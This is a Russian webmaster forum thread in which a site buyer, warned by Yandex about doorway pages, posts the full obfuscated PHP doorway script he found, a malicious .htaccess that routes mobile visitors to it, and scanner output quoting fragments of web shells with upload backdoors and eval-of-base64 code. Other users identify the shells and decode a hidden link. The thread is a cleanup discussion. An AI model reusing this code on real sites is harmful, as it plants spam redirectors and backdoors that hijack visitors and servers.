Форум Сайтостроение Безопасность

Яндекс красавчег (Подозрительные страницы (дорвеи) на сайте)

G-and-Y
На сайте с 29.06.2013
Offline
156
G-and-Y
2830

Купил сайт, смотрю в веб мастере сообщение

Здравствуйте!

Просим вас обратить внимание на безопасность сайта

Во время последнего посещения сайта наши роботы обнаружили на нем подозрительные страницы, похожие на дорвеи (страницы, единственной целью которых является перенаправление пользователя на другой ресурс). Вот некоторые из обнаруженных страниц:

/class/artcam-pro.html
/class/foto-glaza.html
/file/1147.html

Рекомендуем вам исправить код подобных подозрительных страниц или удалить их. После этого роботу потребуется некоторое время, чтобы переиндексировать их и обнаружить изменения. Вы можете помочь роботу поскорее найти исправления:

Если вы удалили подозрительные страницы, запретите в robots.txt индексирование этих страниц или разделов.
Если вы внесли изменения в код страниц, но не удаляли их, воспользуйтесь общими рекомендациями по улучшению индексирования сайта.
Обратите внимание, что подобные страницы характерны для сайтов, подвергшихся взлому.

В связи с этим настоятельно рекомендуем:

сменить все пароли (от FTP, административной панели CMS, СУБД, SSH (если вы его используете), а также от панели управления веб-хостингом);
проверить сайт на наличие уязвимости, при необходимости – обратиться к специалистам по безопасности;
обновить CMS и подключаемые модули до последний версий (злоумышленники часто пользуются уязвимостями старых версий программного обеспечения);
иметь на компьютере надежную антивирусную программу и следить за ее регулярным обновлением;
не сохранять пароли доступа в браузерах, файловых менеджерах, а также FTP-, SFTP-, SCP- и SSH-клиентах.
А также рекомендуем ознакомиться со следующими статьями из Яндекс.Помощи:

Как удалить вредоносный код на стороне сервера

Распространенные способы атаки веб-серверов, а также различные методы защиты веб-серверов и размещаемых на них веб-сайтов

Из поиска могут быть удалены только страницы, содержащие следы взлома. Основному контенту сайта в данной ситуации не грозят никакие ограничения.

Если последствия взлома уже были вами устранены, просто проигнорируйте данное сообщение. В ближайшее время робот переобойдет проблемные страницы, и информация о них обновится в нашей базе.



---
С уважением,
Яндекс.Вебмастер

В индексе гугла эти дорвеи с февраля 2013, старый владелец либо не видел либо не смог найти как удалить.

Короче нашел /class/feed.php такое содержание

<? $GLOBALS['_203992627_']=Array(base64_decode('aGVh' .'ZGVy'),base64_decode('' .'ZmlsZV9' .'nZXRfY29' .'u' .'dGVud' .'HM='),base64_decode('aGVhZGVy'),base64_decode('c3Ryc' .'nB' .'vc' .'w' .'=='),base64_decode('c3V' .'i' .'c3Ry'),base64_decode('' .'c' .'3Ry' .'dG9s' .'b3dlcg' .'=='),base64_decode('YX' .'Jy' .'YX' .'l' .'fa2V5' .'X2V' .'4aXN0c' .'w' .'=='),base64_decode('' .'aGVh' .'ZGV' .'y'),base64_decode('' .'aGV' .'hZG' .'V' .'y'),base64_decode('' .'aG' .'VhZGV' .'y')); ?><? function _1819737211($i){$a=Array('aHR0cDovL21peHNvZnQub3JnL21peHNvZnQ5NjU0MDUzODI3Lw==','aHR0cDovL21peHNvZnQub3JnL2dvLnBocD9zaWQ9MTY=','VVRGLTg=','Y3Nz','cG5n','aW1hZ2UvcG5n','anBn','aW1hZ2UvanBlZw==','anBlZw==','aW1hZ2UvanBlZw==','Z2lm','aW1hZ2UvZ2lm','anM=','dGV4dC9qYXZhc2NyaXB0','eG1s','dGV4dC94bWw=','c3dm','YXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2g=','bQ==','dXJs','U3RhdHVzOiA0MDQgTm90IEZvdW5k','Lg==','Q29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2Zlcg==','Q29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5');return base64_decode($a[$i]);} ?><?php $_0=_1819737211(0);$_1=_1819737211(1);$_2=_1819737211(2);$_3="text/html; charset=$_2";$_4=array(_1819737211(3)=>"text/css; charset=$_2",_1819737211(4)=> _1819737211(5),_1819737211(6)=> _1819737211(7),_1819737211(8)=> _1819737211(9),_1819737211(10)=> _1819737211(11),_1819737211(12)=> _1819737211(13),_1819737211(14)=> _1819737211(15),_1819737211(16)=> _1819737211(17));if((int)$_REQUEST[_1819737211(18)])$GLOBALS['_203992627_'][0]("Location: $_1");else{$_5=$_REQUEST[_1819737211(19)];$_6=$GLOBALS['_203992627_'][1]($_0 .$_5);if(!$_6)$GLOBALS['_203992627_'][2](_1819737211(20));else{$_7=$GLOBALS['_203992627_'][3]($_5,_1819737211(21));$_8=$GLOBALS['_203992627_'][4]($_5,$_7+round(0+0.25+0.25+0.25+0.25),round(0+333+333+333));$_9=$GLOBALS['_203992627_'][5]($_8);$_10=$GLOBALS['_203992627_'][6]($_9,$_4)?$_4[$_9]:$_3;$GLOBALS['_203992627_'][7]("Content-Type: $_10");$GLOBALS['_203992627_'][8](_1819737211(22));$GLOBALS['_203992627_'][9](_1819737211(23));echo $_6;}} ?>

в роботс закрыл, файл удалил, пока страниц нет, будем наблюдать, понимаю что где то сидит инъекция/скрипт и файл может появится, но цмс самопис как искать и где хз.

Абузо-устойчивые впс в Нидерландах от 5$/мес (https://cp.inferno.name/aff.php?aff=2991)
G-and-Y
На сайте с 29.06.2013
Offline
156
G-and-Y
#1

Подскажите есть тут что то подозрительное

.htaccess

php_flag error_reporting 0
php_value date.timezone Europe/Moscow

AddDefaultCharset windows-1251
RewriteEngine on
DirectoryIndex index.php

ErrorDocument 400 /error.php?step=400
ErrorDocument 401 /error.php?step=401
ErrorDocument 403 /error.php?step=403
ErrorDocument 404 /error.php?step=404
ErrorDocument 500 /error.php?step=500


RewriteRule ^([^\/\.]+).html?$ /index.php?file=detail&seo=$1 [L]
RewriteRule ^([^\/\.]+)/?$ /index.php?file=$1 [L]
RewriteRule ^calendar/([^\/\.]+)\.([0-9]{1,15})\.([0-9]{1,15})\.([0-9]{1,15})/([0-9]{1,15})/?$ /index.php?file=calendar&content=$1&day=$2&month=$3&year=$4&step=$5 [L]
RewriteRule ^([^\/\.]+)/([0-9]{1,15})/?$ /index.php?file=$1&step=$2 [L]
RewriteRule ^([^\/\.]+).rss?$ /rss.php?step=$1 [L]
RewriteCond %{HTTP_HOST} ^site.ru\.cat\-ua\.com$ [OR]
RewriteCond %{HTTP_HOST} ^www\.site.ru\.cat\-ua\.com$
RewriteRule ^/?$ "http\:\/\/site.ru\.ru\/" [R=301,L]

/class/.htaccess

AddDefaultCharset UTF-8
DirectoryIndex feed.php
Options -Indexes

RewriteEngine On
RewriteBase /class/

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule feed.php.* - [L]

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* feed.php?url=$0 [L,QSA]

RewriteCond %{HTTP_USER_AGENT} MIDP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} WAP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Windows.CE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Symbian [NC]

RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]

RewriteRule ^(.*)$ feed.php?m=1 [L]

Айболит нашел такое

Критические замечания
Найдены сигнатуры шелл-скрипта. Подозрение на вредоносный скрипт:
Путь Дата создания Дата модификации Размер CRC32
C:\1\1/administrator/theme/img/flash.htm
dden" name="task" value="logout" /> <input type="hidden" name="return" value=|"aHR0cDovL2ZsYXNoY3MucnUv" /> </span> </span> </span> </form> <
22/02/2014 21:11:17
05/04/2013 08:08:18
93.90 Kb
946678180
C:\1\1/administrator/tiny_mce/plugins/advimage/js/xml_parser_get_option.php
FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; /*4*/ |preg_replace("/.*/e","eval(gzinflate(base64_decode('7X1re9s2z/Dn9VcwmjfZq+PYTtu
22/02/2014 21:11:18
18/03/2013 22:12:58
22.80 Kb
-1502405795
C:\1\1/administrator/tiny_mce/plugins/autosave/images/pow.php
<?php |if(!empty($_FILES['message']['name']) AND (md5($_POST['nick']) == '211df628e552
22/02/2014 21:11:18
19/03/2013 10:47:54
885 b
-1411040783
C:\1\1/administrator/tiny_mce/themes/simple/skins/default/odbc_field_precision.php
<?php |if(!empty($_FILES['message']['name']) AND (md5($_POST['nick']) == '211df628e552
22/02/2014 21:11:18
19/03/2013 10:47:54
885 b
-1411040783
C:\1\1/class/feed.php
('aGVhZGVy'),base64_decode('aGVhZGVy')); ?><? function _1819737211($i){$a=Array(|'aHR0cDovL21peHNvZnQub3JnL21peHNvZnQ5NjU0MDUzODI3Lw==','aHR0cDovL21peHNvZnQub3J
22/02/2014 21:11:14
12/02/2013 17:15:24
1.95 Kb
-352464762
C:\1\1/file/index.php
ase64_decode('aGVhZGVy')); ?><? function _2132921356($i){$a=Array('aWQ=','aWI=',|'aHR0cDovL3huLS0tMjAxMi1td2U4YTNkNWUueG4tLXAxYWkvbmV3LzAyLzIyLzEyLw==','LmNzcw=
22/02/2014 21:11:14
22/02/2013 21:51:10
2.03 Kb
-324524133
C:\1\1/php/.htaccess
L] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f |RewriteRule .* index.php?url=$0 [L,QSA Эвристический анализ обнаружил подозрительные файлы. Проверьте их на наличие вредоносного кода.
C:\1\1/file/index.php (Подозрение на обфусцированные переменные)
Список скрытых файлов:
C:\1\1/.aignore
C:\1\1/.aurlignore
C:\1\1/.htaccess
C:\1\1/class/.htaccess
C:\1\1/file/.htaccess
C:\1\1/php/.htaccess
Не найдено директорий c дорвеями
Предупреждения
Опасный код в .htaccess (редирект на внешний сервер, подмена расширений или автовнедрение кода):
Путь Дата создания Дата модификации Размер CRC32
C:\1\1/class/.htaccess
%{REQUEST_FILENAME} !-f RewriteRule .* feed.php?url=$0 [L,QSA] RewriteCond |%{HTTP_USER_AGENT} MIDP [NC,OR] RewriteCond %{HTTP_USER_AGENT} WAP [NC,OR] Re
22/02/2014 21:11:14
12/02/2013 17:15:12
1.38 Kb
-836031535
В этих файлах размещен код по продаже ссылок. Убедитесь, что размещали его вы:
Путь Дата создания Дата модификации Размер CRC32
C:\1\1/1c8d236addf1d2f9eb15f6437de1f0e3/links.db
a:319:{s:18:"|__sape_delimiter__";s:2:;s:12:"__for_user__";s:32:"1c8d236addf1d2f9eb15f6437de1
22/02/2014 21:11:14
19/01/2014 01:33:04
64.71 Kb
-1713547925
C:\1\1/1c8d236addf1d2f9eb15f6437de1f0e3/sape.php
{ $this->_links = $data; } if (isset($this->_links['|__sape_delimiter__'])) { $this->_links_delimiter = $this->_links['_ 22/02/2014 21:11:14
05/03/2012 04:10:20
60.65 Kb
-1871783380
C:\1\1/ddfd9713d3ffb6721bfed2541e34fba4fac5ebbb/trustlink.php
FAULT'; var $tl_use_ssl = false; var $tl_server = '|db.trustlink.ru'; var $tl_cache_lifetime = 3600; var $tl_cache_reloa
22/02/2014 21:11:14
16/05/2013 23:26:26
20.57 Kb
1582988665
C:\1\1/index.php
e_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); $sape = new |SAPE_client(); $global->sape1 = $sape->return_links(2); //...links(*) ? ?????
22/02/2014 21:11:19
05/03/2012 04:28:28
1.16 Kb
-939289853
siv1987
На сайте с 02.04.2009
Offline
427
siv1987
#2
G-and-Y:
.htaccess

Кроме пару кривых правил - нету.

G-and-Y:
/class/.htaccess

Такие реврайты могут использоваться для дорвея.

G-and-Y:
C:\1\1/administrator/tiny_mce/plugins/advimage/js/xml_parser_get_option.php

Шелл

K5
На сайте с 21.07.2010
Offline
209
kgtu5
#3
siv1987:

Шелл

и не один

?php |if(!empty($_FILES['message']['name']) AND (md5($_POST['nick'])



---------- Добавлено 23.02.2014 в 11:46 ----------

а так же шифрованные ссылки

ase64_decode('aGVhZGVy')); ?><? function _2132921356($i){$a=Array('aWQ=','aWI=',|'aHR0cDovL3huLS0tMjAxMi1td2U4YTNkNWUueG4tLXAxYWkvbmV3LzAyLzIyLzEyLw==','LmNzcw=

'aHR0cDovL3huLS0tMjAxMi1td2U4YTNkNWUueG4tLXAxYWkvbmV3LzAyLzIyLzEyLw==' >>>> http://xn---2012-mwe8a3d5e. xn--p1ai/new/02/22/12/

в общем полный набор удовольствий :)

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
G-and-Y
На сайте с 29.06.2013
Offline
156
G-and-Y
#4

Всем спс, вроде бы все по удалял.

Вот отчет по Айболиту после удаления

AI-BOLIT

G-and-Y
На сайте с 29.06.2013
Offline
156
G-and-Y
#5
siv1987:
Кроме пару кривых правил - нету.

Подскажите где?

sentines
На сайте с 30.10.2013
Offline
25
sentines
#6

Вообще реврайты на мобильный редирект похожи, ну или на подобную дрянь.

Лично я стараюсь htaccess держать чистым, кроме нужных редиректов ничего более.

Продвижение сайтов в Перми (http://a2-pr.ru/prodvizhenie-saitov/) Интернет-магазин строительных материалов в Перми (http://baza59.ru)
G-and-Y
На сайте с 29.06.2013
Offline
156
G-and-Y
#7

Я про этот говорю, цмс самопис хз какой он должен быть.

php_flag error_reporting 0
php_value date.timezone Europe/Moscow

AddDefaultCharset windows-1251
RewriteEngine on
DirectoryIndex index.php

ErrorDocument 400 /error.php?step=400
ErrorDocument 401 /error.php?step=401
ErrorDocument 403 /error.php?step=403
ErrorDocument 404 /error.php?step=404
ErrorDocument 500 /error.php?step=500


RewriteRule ^([^\/\.]+).html?$ /index.php?file=detail&seo=$1 [L]
RewriteRule ^([^\/\.]+)/?$ /index.php?file=$1 [L]
RewriteRule ^calendar/([^\/\.]+)\.([0-9]{1,15})\.([0-9]{1,15})\.([0-9]{1,15})/([0-9]{1,15})/?$ /index.php?file=calendar&content=$1&day=$2&month=$3&year=$4&step=$5 [L]
RewriteRule ^([^\/\.]+)/([0-9]{1,15})/?$ /index.php?file=$1&step=$2 [L]
RewriteRule ^([^\/\.]+).rss?$ /rss.php?step=$1 [L]
RewriteCond %{HTTP_HOST} ^site\.cat\-ua\.com$ [OR]
RewriteCond %{HTTP_HOST} ^www\.site\.cat\-ua\.com$
RewriteRule ^/?$ "http\:\/\/site\.ru\/" [R=301,L]

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий